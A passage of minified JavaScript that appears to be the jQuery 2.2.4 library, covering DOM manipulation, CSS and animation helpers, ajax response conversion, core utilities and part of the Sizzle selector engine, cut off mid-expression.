        var e = TA.exec(A.type);
        return e ? A.type = e[1] : A.removeAttribute("type"), A
    }

    function S(A, e) {
        var t, i, r, o, n, s, a, I;
        if (1 === e.nodeType) {
            if (DA.hasData(A) && (o = DA.access(A), n = DA.set(e, o), I = o.events)) {
                delete n.handle, n.events = {};
                for (r in I)
                    for (t = 0, i = I[r].length; i > t; t++) oA.event.add(e, r, I[r][t])
            }
            vA.hasData(A) && (s = vA.access(A), a = oA.extend({}, s), vA.set(e, a))
        }
    }

    function w(A, e) {
        var t = e.nodeName.toLowerCase();
        "input" === t && kA.test(A.type) ? e.checked = A.checked : "input" !== t && "textarea" !== t || (e.defaultValue = A.defaultValue)
    }

    function p(A, e, t, i) {
        e = _.apply([], e);
        var r, o, n, s, a, I, c = 0,
            g = A.length,
            h = g - 1,
            E = e[0],
            u = oA.isFunction(E);
        if (u || g > 1 && "string" == typeof E && !iA.checkClone && GA.test(E)) return A.each(function(r) {
            var o = A.eq(r);
            u && (e[0] = E.call(this, r, o.html())), p(o, e, t, i)
        });
        if (g && (r = B(e, A[0].ownerDocument, !1, A, i), o = r.firstChild, 1 === r.childNodes.length && (r = o), o || i)) {
            for (n = oA.map(l(r, "script"), d), s = n.length; g > c; c++) a = r, c !== h && (a = oA.clone(a, !0, !0), s && oA.merge(n, l(a, "script"))), t.call(A[c], a, c);
            if (s)
                for (I = n[n.length - 1].ownerDocument, oA.map(n, f), c = 0; s > c; c++) a = n[c], jA.test(a.type || "") && !DA.access(a, "globalEval") && oA.contains(I, a) && (a.src ? oA._evalUrl && oA._evalUrl(a.src) : oA.globalEval(a.textContent.replace(XA, "")))
        }
        return A
    }

    function C(A, e, t) {
        for (var i, r = e ? oA.filter(e, A) : A, o = 0; null != (i = r[o]); o++) t || 1 !== i.nodeType || oA.cleanData(l(i)), i.parentNode && (t && oA.contains(i.ownerDocument, i) && c(l(i, "script")), i.parentNode.removeChild(i));
        return A
    }

    function D(A, e) {
        var t = oA(e.createElement(A)).appendTo(e.body),
            i = oA.css(t[0], "display");
        return t.detach(), i
    }

    function v(A) {
        var e = W,
            t = VA[A];
        return t || (t = D(A, e), "none" !== t && t || (HA = (HA || oA("<iframe frameborder='0' width='0' height='0'/>")).appendTo(e.documentElement), e = HA[0].contentDocument, e.write(), e.close(), t = D(A, e), HA.detach()), VA[A] = t), t
    }

    function m(A, e, t) {
        var i, r, o, n, s = A.style;
        return t = t || WA(A), n = t ? t.getPropertyValue(e) || t[e] : void 0, "" !== n && void 0 !== n || oA.contains(A.ownerDocument, A) || (n = oA.style(A, e)), t && !iA.pixelMarginRight() && ZA.test(n) && OA.test(e) && (i = s.width, r = s.minWidth, o = s.maxWidth, s.minWidth = s.maxWidth = s.width = n, n = t.width, s.width = i, s.minWidth = r, s.maxWidth = o), void 0 !== n ? n + "" : n
    }

    function M(A, e) {
        return {
            get: function() {
                return A() ? void delete this.get : (this.get = e).apply(this, arguments)
            }
        }
    }

    function P(A) {
        if (A in te) return A;
        for (var e = A[0].toUpperCase() + A.slice(1), t = ee.length; t--;)
            if ((A = ee[t] + e) in te) return A
    }

    function y(A, e, t) {
        var i = yA.exec(e);
        return i ? Math.max(0, i[2] - (t || 0)) + (i[3] || "px") : e
    }

    function F(A, e, t, i, r) {
        for (var o = t === (i ? "border" : "content") ? 4 : "width" === e ? 1 : 0, n = 0; 4 > o; o += 2) "margin" === t && (n += oA.css(A, t + FA[o], !0, r)), i ? ("content" === t && (n -= oA.css(A, "padding" + FA[o], !0, r)), "margin" !== t && (n -= oA.css(A, "border" + FA[o] + "Width", !0, r))) : (n += oA.css(A, "padding" + FA[o], !0, r), "padding" !== t && (n += oA.css(A, "border" + FA[o] + "Width", !0, r)));
        return n
    }

    function L(A, e, t) {
        var i = !0,
            r = "width" === e ? A.offsetWidth : A.offsetHeight,
            o = WA(A),
            n = "border-box" === oA.css(A, "boxSizing", !1, o);
        if (0 >= r || null == r) {
            if (r = m(A, e, o), (0 > r || null == r) && (r = A.style[e]), ZA.test(r)) return r;
            i = n && (iA.boxSizingReliable() || r === A.style[e]), r = parseFloat(r) || 0
        }
        return r + F(A, e, t || (n ? "border" : "content"), i, o) + "px"
    }

    function k(A, e) {
        for (var t, i, r, o = [], n = 0, s = A.length; s > n; n++) i = A[n], i.style && (o[n] = DA.get(i, "olddisplay"), t = i.style.display, e ? (o[n] || "none" !== t || (i.style.display = ""), "" === i.style.display && LA(i) && (o[n] = DA.access(i, "olddisplay", v(i.nodeName)))) : (r = LA(i), "none" === t && r || DA.set(i, "olddisplay", r ? t : oA.css(i, "display"))));
        for (n = 0; s > n; n++) i = A[n], i.style && (e && "none" !== i.style.display && "" !== i.style.display || (i.style.display = e ? o[n] || "" : "none"));
        return A
    }

    function J(A, e, t, i, r) {
        return new J.prototype.init(A, e, t, i, r)
    }

    function j() {
        return A.setTimeout(function() {
            ie = void 0
        }), ie = oA.now()
    }

    function N(A, e) {
        var t, i = 0,
            r = {
                height: A
            };
        for (e = e ? 1 : 0; 4 > i; i += 2 - e) t = FA[i], r["margin" + t] = r["padding" + t] = A;
        return e && (r.opacity = r.width = A), r
    }

    function U(A, e, t) {
        for (var i, r = (Y.tweeners[e] || []).concat(Y.tweeners["*"]), o = 0, n = r.length; n > o; o++)
            if (i = r[o].call(t, e, A)) return i
    }

    function b(A, e, t) {
        var i, r, o, n, s, a, I, l = this,
            c = {},
            B = A.style,
            g = A.nodeType && LA(A),
            h = DA.get(A, "fxshow");
        t.queue || (s = oA._queueHooks(A, "fx"), null == s.unqueued && (s.unqueued = 0, a = s.empty.fire, s.empty.fire = function() {
            s.unqueued || a()
        }), s.unqueued++, l.always(function() {
            l.always(function() {
                s.unqueued--, oA.queue(A, "fx").length || s.empty.fire()
            })
        })), 1 === A.nodeType && ("height" in e || "width" in e) && (t.overflow = [B.overflow, B.overflowX, B.overflowY], I = oA.css(A, "display"), "inline" === ("none" === I ? DA.get(A, "olddisplay") || v(A.nodeName) : I) && "none" === oA.css(A, "float") && (B.display = "inline-block")), t.overflow && (B.overflow = "hidden", l.always(function() {
            B.overflow = t.overflow[0], B.overflowX = t.overflow[1], B.overflowY = t.overflow[2]
        }));
        for (i in e)
            if (r = e[i], oe.exec(r)) {
                if (delete e[i], o = o || "toggle" === r, r === (g ? "hide" : "show")) {
                    if ("show" !== r || !h || void 0 === h[i]) continue;
                    g = !0
                }
                c[i] = h && h[i] || oA.style(A, i)
            } else I = void 0;
        if (oA.isEmptyObject(c)) "inline" === ("none" === I ? v(A.nodeName) : I) && (B.display = I);
        else {
            h ? "hidden" in h && (g = h.hidden) : h = DA.access(A, "fxshow", {}), o && (h.hidden = !g), g ? oA(A).show() : l.done(function() {
                oA(A).hide()
            }), l.done(function() {
                var e;
                DA.remove(A, "fxshow");
                for (e in c) oA.style(A, e, c[e])
            });
            for (i in c) n = U(g ? h[i] : 0, i, l), i in h || (h[i] = n.start, g && (n.end = n.start, n.start = "width" === i || "height" === i ? 1 : 0))
        }
    }

    function R(A, e) {
        var t, i, r, o, n;
        for (t in A)
            if (i = oA.camelCase(t), r = e[i], o = A[t], oA.isArray(o) && (r = o[1], o = A[t] = o[0]), t !== i && (A[i] = o, delete A[t]), (n = oA.cssHooks[i]) && "expand" in n) {
                o = n.expand(o), delete A[i];
                for (t in o) t in A || (A[t] = o[t], e[t] = r)
            } else e[i] = r
    }

    function Y(A, e, t) {
        var i, r, o = 0,
            n = Y.prefilters.length,
            s = oA.Deferred().always(function() {
                delete a.elem
            }),
            a = function() {
                if (r) return !1;
                for (var e = ie || j(), t = Math.max(0, I.startTime + I.duration - e), i = t / I.duration || 0, o = 1 - i, n = 0, a = I.tweens.length; a > n; n++) I.tweens[n].run(o);
                return s.notifyWith(A, [I, o, t]), 1 > o && a ? t : (s.resolveWith(A, [I]), !1)
            },
            I = s.promise({
                elem: A,
                props: oA.extend({}, e),
                opts: oA.extend(!0, {
                    specialEasing: {},
                    easing: oA.easing._default
                }, t),
                originalProperties: e,
                originalOptions: t,
                startTime: ie || j(),
                duration: t.duration,
                tweens: [],
                createTween: function(e, t) {
                    var i = oA.Tween(A, I.opts, e, t, I.opts.specialEasing[e] || I.opts.easing);
                    return I.tweens.push(i), i
                },
                stop: function(e) {
                    var t = 0,
                        i = e ? I.tweens.length : 0;
                    if (r) return this;
                    for (r = !0; i > t; t++) I.tweens[t].run(1);
                    return e ? (s.notifyWith(A, [I, 1, 0]), s.resolveWith(A, [I, e])) : s.rejectWith(A, [I, e]), this
                }
            }),
            l = I.props;
        for (R(l, I.opts.specialEasing); n > o; o++)
            if (i = Y.prefilters[o].call(I, A, l, I.opts)) return oA.isFunction(i.stop) && (oA._queueHooks(I.elem, I.opts.queue).stop = oA.proxy(i.stop, i)), i;
        return oA.map(l, U, I), oA.isFunction(I.opts.start) && I.opts.start.call(A, I), oA.fx.timer(oA.extend(a, {
            elem: A,
            anim: I,
            queue: I.opts.queue
        })), I.progress(I.opts.progress).done(I.opts.done, I.opts.complete).fail(I.opts.fail).always(I.opts.always)
    }

    function x(A) {
        return A.getAttribute && A.getAttribute("class") || ""
    }

    function z(A) {
        return function(e, t) {
            "string" != typeof e && (t = e, e = "*");
            var i, r = 0,
                o = e.toLowerCase().match(SA) || [];
            if (oA.isFunction(t))
                for (; i = o[r++];) "+" === i[0] ? (i = i.slice(1) || "*", (A[i] = A[i] || []).unshift(t)) : (A[i] = A[i] || []).push(t)
        }
    }

    function G(A, e, t, i) {
        function r(s) {
            var a;
            return o[s] = !0, oA.each(A[s] || [], function(A, s) {
                var I = s(e, t, i);
                return "string" != typeof I || n || o[I] ? n ? !(a = I) : void 0 : (e.dataTypes.unshift(I), r(I), !1)
            }), a
        }
        var o = {},
            n = A === ve;
        return r(e.dataTypes[0]) || !o["*"] && r("*")
    }

    function T(A, e) {
        var t, i, r = oA.ajaxSettings.flatOptions || {};
        for (t in e) void 0 !== e[t] && ((r[t] ? A : i || (i = {}))[t] = e[t]);
        return i && oA.extend(!0, A, i), A
    }

    function X(A, e, t) {
        for (var i, r, o, n, s = A.contents, a = A.dataTypes;
            "*" === a[0];) a.shift(), void 0 === i && (i = A.mimeType || e.getResponseHeader("Content-Type"));
        if (i)
            for (r in s)
                if (s[r] && s[r].test(i)) {
                    a.unshift(r);
                    break
                }
        if (a[0] in t) o = a[0];
        else {
            for (r in t) {
                if (!a[0] || A.converters[r + " " + a[0]]) {
                    o = r;
                    break
                }
                n || (n = r)
            }
            o = o || n
        }
        return o ? (o !== a[0] && a.unshift(o), t[o]) : void 0
    }

    function H(A, e, t, i) {
        var r, o, n, s, a, I = {},
            l = A.dataTypes.slice();
        if (l[1])
            for (n in A.converters) I[n.toLowerCase()] = A.converters[n];
        for (o = l.shift(); o;)
            if (A.responseFields[o] && (t[A.responseFields[o]] = e), !a && i && A.dataFilter && (e = A.dataFilter(e, A.dataType)), a = o, o = l.shift())
                if ("*" === o) o = a;
                else if ("*" !== a && a !== o) {
            if (!(n = I[a + " " + o] || I["* " + o]))
                for (r in I)
                    if (s = r.split(" "), s[1] === o && (n = I[a + " " + s[0]] || I["* " + s[0]])) {
                        !0 === n ? n = I[r] : !0 !== I[r] && (o = s[0], l.unshift(s[1]));
                        break
                    }
            if (!0 !== n)
                if (n && A.throws) e = n(e);
                else try {
                    e = n(e)
                } catch (A) {
                    return {
                        state: "parsererror",
                        error: n ? A : "No conversion from " + a + " to " + o
                    }
                }
        }
        return {
            state: "success",
            data: e
        }
    }

    function V(A, e, t, i) {
        var r;
        if (oA.isArray(e)) oA.each(e, function(e, r) {
            t || ye.test(A) ? i(A, r) : V(A + "[" + ("object" == typeof r && null != r ? e : "") + "]", r, t, i)
        });
        else if (t || "object" !== oA.type(e)) i(A, e);
        else
            for (r in e) V(A + "[" + r + "]", e[r], t, i)
    }

    function O(A) {
        return oA.isWindow(A) ? A : 9 === A.nodeType && A.defaultView
    }
    var Z = [],
        W = A.document,
        K = Z.slice,
        _ = Z.concat,
        q = Z.push,
        $ = Z.indexOf,
        AA = {},
        eA = AA.toString,
        tA = AA.hasOwnProperty,
        iA = {},
        rA = "2.2.4",
        oA = function(A, e) {
            return new oA.fn.init(A, e)
        },
        nA = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
        sA = /^-ms-/,
        aA = /-([\da-z])/gi,
        IA = function(A, e) {
            return e.toUpperCase()
        };
    oA.fn = oA.prototype = {
        jquery: rA,
        constructor: oA,
        selector: "",
        length: 0,
        toArray: function() {
            return K.call(this)
        },
        get: function(A) {
            return null != A ? 0 > A ? this[A + this.length] : this[A] : K.call(this)
        },
        pushStack: function(A) {
            var e = oA.merge(this.constructor(), A);
            return e.prevObject = this, e.context = this.context, e
        },
        each: function(A) {
            return oA.each(this, A)
        },
        map: function(A) {
            return this.pushStack(oA.map(this, function(e, t) {
                return A.call(e, t, e)
            }))
        },
        slice: function() {
            return this.pushStack(K.apply(this, arguments))
        },
        first: function() {
            return this.eq(0)
        },
        last: function() {
            return this.eq(-1)
        },
        eq: function(A) {
            var e = this.length,
                t = +A + (0 > A ? e : 0);
            return this.pushStack(t >= 0 && e > t ? [this[t]] : [])
        },
        end: function() {
            return this.prevObject || this.constructor()
        },
        push: q,
        sort: Z.sort,
        splice: Z.splice
    }, oA.extend = oA.fn.extend = function() {
        var A, e, t, i, r, o, n = arguments[0] || {},
            s = 1,
            a = arguments.length,
            I = !1;
        for ("boolean" == typeof n && (I = n, n = arguments[s] || {}, s++), "object" == typeof n || oA.isFunction(n) || (n = {}), s === a && (n = this, s--); a > s; s++)
            if (null != (A = arguments[s]))
                for (e in A) t = n[e], i = A[e], n !== i && (I && i && (oA.isPlainObject(i) || (r = oA.isArray(i))) ? (r ? (r = !1, o = t && oA.isArray(t) ? t : []) : o = t && oA.isPlainObject(t) ? t : {}, n[e] = oA.extend(I, o, i)) : void 0 !== i && (n[e] = i));
        return n
    }, oA.extend({
        expando: "jQuery" + (rA + Math.random()).replace(/\D/g, ""),
        isReady: !0,
        error: function(A) {
            throw new Error(A)
        },
        noop: function() {},
        isFunction: function(A) {
            return "function" === oA.type(A)
        },
        isArray: Array.isArray,
        isWindow: function(A) {
            return null != A && A === A.window
        },
        isNumeric: function(A) {
            var e = A && A.toString();
            return !oA.isArray(A) && e - parseFloat(e) + 1 >= 0
        },
        isPlainObject: function(A) {
            var e;
            if ("object" !== oA.type(A) || A.nodeType || oA.isWindow(A)) return !1;
            if (A.constructor && !tA.call(A, "constructor") && !tA.call(A.constructor.prototype || {}, "isPrototypeOf")) return !1;
            for (e in A);
            return void 0 === e || tA.call(A, e)
        },
        isEmptyObject: function(A) {
            var e;
            for (e in A) return !1;
            return !0
        },
        type: function(A) {
            return null == A ? A + "" : "object" == typeof A || "function" == typeof A ? AA[eA.call(A)] || "object" : typeof A
        },
        globalEval: function(A) {
            var e, t = eval;
            (A = oA.trim(A)) && (1 === A.indexOf("use strict") ? (e = W.createElement("script"), e.text = A, W.head.appendChild(e).parentNode.removeChild(e)) : t(A))
        },
        camelCase: function(A) {
            return A.replace(sA, "ms-").replace(aA, IA)
        },
        nodeName: function(A, e) {
            return A.nodeName && A.nodeName.toLowerCase() === e.toLowerCase()
        },
        each: function(A, e) {
            var i, r = 0;
            if (t(A))
                for (i = A.length; i > r && !1 !== e.call(A[r], r, A[r]); r++);
            else
                for (r in A)
                    if (!1 === e.call(A[r], r, A[r])) break;
            return A
        },
        trim: function(A) {
            return null == A ? "" : (A + "").replace(nA, "")
        },
        makeArray: function(A, e) {
            var i = e || [];
            return null != A && (t(Object(A)) ? oA.merge(i, "string" == typeof A ? [A] : A) : q.call(i, A)), i
        },
        inArray: function(A, e, t) {
            return null == e ? -1 : $.call(e, A, t)
        },
        merge: function(A, e) {
            for (var t = +e.length, i = 0, r = A.length; t > i; i++) A[r++] = e[i];
            return A.length = r, A
        },
        grep: function(A, e, t) {
            for (var i = [], r = 0, o = A.length, n = !t; o > r; r++) !e(A[r], r) !== n && i.push(A[r]);
            return i
        },
        map: function(A, e, i) {
            var r, o, n = 0,
                s = [];
            if (t(A))
                for (r = A.length; r > n; n++) null != (o = e(A[n], n, i)) && s.push(o);
            else
                for (n in A) null != (o = e(A[n], n, i)) && s.push(o);
            return _.apply([], s)
        },
        guid: 1,
        proxy: function(A, e) {
            var t, i, r;
            return "string" == typeof e && (t = A[e], e = A, A = t), oA.isFunction(A) ? (i = K.call(arguments, 2), r = function() {
                return A.apply(e || this, i.concat(K.call(arguments)))
            }, r.guid = A.guid = A.guid || oA.guid++, r) : void 0
        },
        now: Date.now,
        support: iA
    }), "function" == typeof Symbol && (oA.fn[Symbol.iterator] = Z[Symbol.iterator]), oA.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(A, e) {
        AA["[object " + e + "]"] = e.toLowerCase()
    });
    var lA = function(A) {
        function e(A, e, t, i) {
            var r, o, n, s, I, c, B, g, h = e && e.ownerDocument,
                E = e ? e.nodeType : 9;
            if (t = t || [], "string" != typeof A || !A || 1 !== E && 9 !== E && 11 !== E) return t;
            if (!i && ((e ? e.ownerDocument || e : R) !== F && y(e), e = e || F, k)) {
                if (11 !== E && (c = EA.exec(A)))
                    if (r = c[1]) {
                        if (9 === E) {
                            if (!(n = e.getElementById(r))) return t;
                            if (n.id === r) return t.push(n), t
                        } else if (h && (n = h.getElementById(r)) && U(e, n) && n.id === r) return t.push(n), t
                    } else {
                        if (c[2]) return K.apply(t, e.getElementsByTagName(A)), t;
                        if ((r = c[3]) && f.getElementsByClassName && e.getElementsByClassName) return K.apply(t, e.getElementsByClassName(r)), t
                    }
                if (f.qsa && !T[A + " "] && (!J || !J.test(A))) {
                    if (1 !== E) h = e, g = A;
                    else if ("object" !== e.nodeName.toLowerCase()) {
                        for ((s = e.getAttribute("id")) ? s = s.replace(QA, "\\$&") : e.setAttribute("id", s = b), B = C(A), o = B.length, I = lA.test(s) ? "#" + s : "[id='" + s + "']"; o--;) B[o] = I + " " + l(B[o]);
                        g = B.join(","), h = uA.test(A) && a(e.parentNode) || e
                    }
                    if (g) try {
                        return K.apply(t, h.querySelectorAll(g)), t
                    } catch (A) {} finally {
                        s === b && e.removeAttribute("id")
                    }
                }
            }
            return v(A.replace(oA, "$1"), e, t, i)
        }

        function t() {
            function A(t, i) {
                return e.push(t + " ") > S.cacheLength && delete A[e.shift()], A[t + " "] = i
            }
            var e = [];
            return A
        }

        function i(A) {
            return A[b] = !0, A
        }

        function r(A) {
            var e = F.createElement("div");
            try {
                return !!A(e)
            } catch (A) {
                return !1
            } finally {
                e.parentNode && e.parentNode.removeChild(e), e = null
            }
        }

        function o(A, e) {
            for (var t = A.split("|"), i = t.length; i--;) S.attrHandle[t[i]] = e
        }

        function n(A, e) {
            var t = e && A,
                i = t && 1 === A.nodeType && 1 === e.nodeType && (~e.sourceIndex || H) - (~A.sourceIndex || H);
            if (i) return i;
            if (t)
                for (; t = t.nextSibling;)
                    if (t === e) return -1;
            return A ? 1 : -1
        }

        function s(A) {
            return i(function(e) {
                return e = +e, i(function(t, i) {
                    for (var r, o = A([], t.length, e), n = o.length; n--;) t[r = o[n]] && (t[r] = !(i[r] = t[r]))
                })
            })
        }

        function a(A) {
            return A && void 0 !== A.getElementsByTagName && A
        }

        function I() {}

        function l(A) {
            for (var e = 0, t = A.length, i = ""; t > e; e++) i += A[e].value;
            return i
        }

        function c(A, e, t) {
            var i = e.dir,
                r = t && "parentNode" === i,
                o = x++;
            return e.first ? function(e, t, o) {
                for (; e = e[i];)
                    if (1 === e.nodeType || r) return A(e, t, o)
            } : function(e, t, n) {
                var s, a, I, l = [Y, o];
                if (n) {
                    for (; e = e[i];)
                        if ((1 === e.nodeType || r) && A(e, t, n)) return !0
                } else
                    for (; e = e[i];)
                        if (1 === e.nodeType || r) {
                            if (I = e[b] || (e[b] = {}), a = I[e.uniqueID] || (I[e.uniqueID] = {}), (s = a[i]) && s[0] === Y && s[1] === o) return l[2] = s[2];
                            if (a[i] = l, l[2] = A(e, t, n)) return !0
                        }
            }
        }

        function B(A) {
            return A.length > 1 ? function(e, t, i) {
                for (var r = A.length; r--;)
                    if (!A[r](e, t, i)) return !1;
                return !0
            } : A[0]
        }

        function g(A, t, i) {
            for (var r = 0, o = t.length; o > r; r++) e(A, t[r], i);
            return i
        }

        function h(A, e, t, i, r) {
            for (var o, n = [], s = 0, a = A.length, I = null != e; a > s; s++)(o = A[s]) && (t && !t(o, i, r) || (n.push(o), I && e.push(s)));
            return n
        }

        function E(A, e, t, r, o, n) {
            return r && !r[b] && (r = E(r)), o && !o[b] && (o = E(o, n)), i(function(i, n, s, a) {
                var I, l, c, B = [],
                    E = [],
                    u = n.length,
                    Q = i || g(e || "*", s.nodeType ? [s] : s, []),
                    d = !A || !i && e ? Q : h(Q, B, A, s, a),
                    f = t ? o || (i ? A : u || r) ? [] : n : d;
                if (t && t(d, f, s, a), r)
                    for (I = h(f, E), r(I, [], s, a), l = I.length; l--;)(c = I[l]) && (f[E[l]] = !(d[E[l]] = c));
                if (i) {
                    if (o || A) {
                        if (o) {
                            for (I = [], l = f.length; l--;)(c = f[l]) && I.push(d[l] = c);
                            o(null, f = [], I, a)
                        }
                        for (l = f.length; l--;)(c = f[l]) && (I = o ? q(i, c) : B[l]) > -1 && (i[I] = !(n[I] = c))
                    }
                } else f = h(f === n ? f.splice(u, f.length) : f), o ? o(null, n, f, a) : K.apply(n, f)
            })
        }

        function u(A) {
            for (var e, t, i, r = A.length, o = S.relative[A[0].type], n = o || S.relative[" "], s = o ? 1 : 0, a = c(function(A) {
                    return A === e
                }, n, !0), I = c(function(A) {
                    return q(e, A) > -1
                }, n, !0), g = [function(A, t, i) {
                    var r = !o && (i || t !== m) || ((e = t).nodeType ? a(A, t, i) : I(A, t, i));
                    return e = null, r
                }]; r > s; s++)
                if (t = S.relative[A[s].type]) g = [c(B(g), t)];
                else {
                    if (t = S.filter[A[s].type].apply(null, A[s].matches), t[b]) {
                        for (i = ++s; r > i && !S.relative[A[i].type]; i++);
                        return E(s > 1 && B(g), s > 1 && l(A.slice(0, s - 1).concat({
                            value: " " === A[s - 2].type ? "*" : ""
                        })).replace(oA, "$1"), t, i > s && u(A.slice(s, i)), r > i && u(A = A.slice(i)), r > i && l(A))
                    }
                    g.push(t)
                }
            return B(g)
        }

        function Q(A, t) {
            var r = t.length > 0,
                o = A.length > 0,
                n = function(i, n, s, a, I) {
                    var l, c, B, g = 0,
                        E = "0",
                        u = i && [],
                        Q = [],
                        d = m,
                        f = i || o && S.find.TAG("*", I),
                        w = Y += null == d ? 1 : Math.random() || .1,
                        p = f.length;
                    for (I && (m = n === F || n || I); E !== p && null != (l = f[E]); E++) {
                        if (o && l) {
                            for (c = 0, n || l.ownerDocument === F || (y(l), s = !k); B = A[c++];)
                                if (B(l, n || F, s)) {
                                    a.push(l);
                                    break
                                }
                            I && (Y = w)
                        }
                        r && ((l = !B && l) && g--, i && u.push(l))
                    }
                    if (g += E, r && E !== g) {
                        for (c = 0; B = t[c++];) B(u, Q, n, s);
                        if (i) {
                            if (g > 0)
                                for (; E--;) u[E] || Q[E] || (Q[E] = Z.call(a));
                            Q = h(Q)
                        }
                        K.apply(a, Q), I && !i && Q.length > 0 && g + t.length > 1 && e.uniqueSort(a)
                    }
                    return I && (Y = w, m = d), u
                };
            return r ? i(n) : n
        }
        var d, f, S, w, p, C, D, v, m, M, P, y, F, L, k, J, j, N, U, b = "sizzle" + 1 * new Date,
            R = A.document,
            Y = 0,
            x = 0,
            z = t(),
            G = t(),
            T = t(),
            X = function(A, e) {
                return A === e && (P = !0), 0
            },
            H = 1 << 31,
            V = {}.hasOwnProperty,
            O = [],
            Z = O.pop,
            W = O.push,
            K = O.push,
            _ = O.slice,
            q = function(A, e) {
                for (var t = 0, i = A.length; i > t; t++)
                    if (A[t] === e) return t;
                return -1
            },
            $ = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
            AA = "[\\x20\\t\\r\\n\\f]",
            eA = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
            tA = "\\[" + AA + "*(" + eA + ")(?:" + AA + "*([*^$|!~]?=)" + AA + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + eA + "))|)" + AA + "*\\]",
            iA = ":(" + eA + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + tA + ")*)|.*)\\)|)",
            rA = new RegExp(AA + "+", "g"),
            oA = new RegExp("^" + AA + "+|((?:^|[^\\\\])(?:\\\\.)*)" + AA + "+$", "g"),
            nA = new RegExp("^" + AA + "*," + AA + "*"),
            sA = new RegExp("^" + AA + "*([>+~]|" + AA + ")" + AA + "*"),
            aA = new RegExp("=" + AA + "*([^\\]'\"]*?)" + AA + "*\\]", "g"),
            IA = new RegExp(iA),
            lA = new RegExp("^" + eA + "$"),
            cA = {
                ID: new RegExp("^#(" + eA + ")"),
                CLASS: new RegExp("^\\.(" + eA + ")"),
                TAG: new RegExp("^(" + eA + "|[*])"),
                ATTR: new RegExp("^" + tA),
                PSEUDO: new RegExp("^" + iA),
                CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + AA + "*(even|odd|(([+-]|)(\\d*)n|)" + AA + "*(?:([+-]|)" + AA + "*(\\d+)|))" + AA + "*\\)|)", "i"),
                bool: new RegExp("^(?:" + $ + ")$", "i"),
                needsContext: new RegExp("^" + AA + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + AA + "*((?:-\\d)?\\d*)" + AA + "*\\)|)(?=[^-]|$)", "i")
            },
            BA = /^(?:input|select|textarea|button)$/i,
            gA = /^h\d$/i,
            hA = /^[^{]+\{\s*\[native \w/,
            EA = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
            uA = /[+~]/,
            QA = /'|\\/g,
            dA = new RegExp("\\\\([\\da-f]{1,6}" + AA + "?|(" + AA + ")|.)", "ig"),
            fA = function(A, e, t) {
                var i = "0x" + e - 65536;
                return i !== i || t ? e : 0 > i ? String.fromCharCode(i + 65536) : String.fromCharCode(i >> 10 | 55296, 1023 & i | 56320)
            },
            SA = function() {
                y()
            };
        try {
            K.apply(O = _.call(R.childNodes), R.childNodes), O[R.childNodes.length].nodeType
        } catch (A) {
            K = {
                apply: O.length ? function(A, e) {
                    W.apply(A, _.call(e))
                } : function(A, e) {
                    for (var t = A.length, i = 0; A[t++] = e[i++];);
                    A.length = t - 1
                }
            }
        }
        f = e.support = {}, p = e.isXML = function(A) {
            var e = A && (A.ownerDocument || A).documentElement;
            return !!e && "HTML" !== e.nodeName
        }, y = e.setDocument = function(A) {
            var e, t, i = A ? A.ownerDocument || A : R;
            return i !== F && 9 === i.nodeType && i.documentElement ? (F = i, L = F.documentElement, k = !p(F), (t = F.defaultView) && t.top !== t && (t.addEventListener ? t.addEventListener("unload", SA, !1) : t.attachEvent && t.attachEvent("onunload", SA)), f.attributes = r(function(A) {
                return A.className = "i", !A.getAttribute("className")
            }), f.getElementsByTagName = r(function(A) {
                return A.appendChild(F.createComment("")), !A.getElementsByTagName("*").length
            }), f.getElementsByClassName = hA.test(F.getElementsByClassName), f.getById = r(function(A) {
                return L.appendChild(A).id = b, !F.getElementsByName || !F.getElementsByName(b).length
            }), f.getById ? (S.find.ID = function(A, e) {
                if (void 0 !== e.getElementById && k) {
                    var t = e.getElementById(A);
                    return t ? [t] : []
                }
            }, S.filter.ID = function(A) {
                var e = A.replace(dA, fA);
                return function(A) {
                    return A.getAttribute("id") === e
                }
            }) : (delete S.find.ID, S.filter.ID = function(A) {
                var e = A.replace(dA, fA);
                return function(A) {
                    var t = void 0 !== A.getAttributeNode && A.getAttributeNode("id");
                    return t && t.value === e
                }
            }), S.find.TAG = f.getElementsByTagName ? function(A, e) {
                return void 0 !== e.getElementsByTagName ? e.getElementsByTagName(A) : f.qsa ? e.querySelectorAll(A) : void 0
            } : function(A, e) {
                var t, i = [],
                    r = 0,
                    o = e.getElementsByTagName(A);
                if ("*" === A) {
                    for (; t = o[r++];) 1 === t.nodeType && i.push(t);
                    return i
                }
                return o
            }, S.find.CLASS = f.getElementsByClassName && function(A, e) {
                return void 0 !== e.getElementsByClassName && k ? e.getElementsByClassName(A) : void 0
            }, j = [], J = [], (f.qsa = hA.test(F.querySelectorAll)) && (r(function(A) {
                L.appendChild(A).innerHTML = "<a id='" + b + "'></a><select id='" + b + "-\r\\' msallowcapture=''><option selected=''></option></select>", A.querySelectorAll("[msallowcapture^='']").length && J.push("[*^$]=" + AA + "*(?:''|\"\")"), A.querySelectorAll("[selected]").length || J.push("\\[" + AA + "*(?:value|" + $ + ")"), A.querySelectorAll("[id~=" + b + "-]").length || J.push("~="), A.querySelectorAll(":checked").length || J.push(":checked"), A.querySelectorAll("a#" + b + "+*").length || J.push(".#.+[+~]")
            }), r(function(A) {
                var e = F.createElement("input");
                e.setAttribute("type", "hidden"), A.appendChild(e).setAttribute("name", "D"), A.querySelectorAll("[name=d]").length && J.push("name" + AA + "*[*^$|!~]?="), A.querySelectorAll(":enabled").length || J.push(":enabled", ":disabled"), A.querySelectorAll("*,:x"), J.push(",.*:")
            })), (f.matchesSelector = hA.test(N = L.matches || L.webkitMatchesSelector || L.mozMatchesSelector || L.oMatchesSelector || L.msMatchesSelector)) && r(function(A) {
                f.disconnectedMatch = N.call(A, "div"), N.call(A, "[s!='']:x"), j.push("!=", iA)
            }), J = J.length && new RegExp(J.join("|")), j = j.length && new RegExp(j.join("|")), e = hA.test(L.compareDocumentPosition), U = e || hA.test(L.contains) ? function(A, e) {
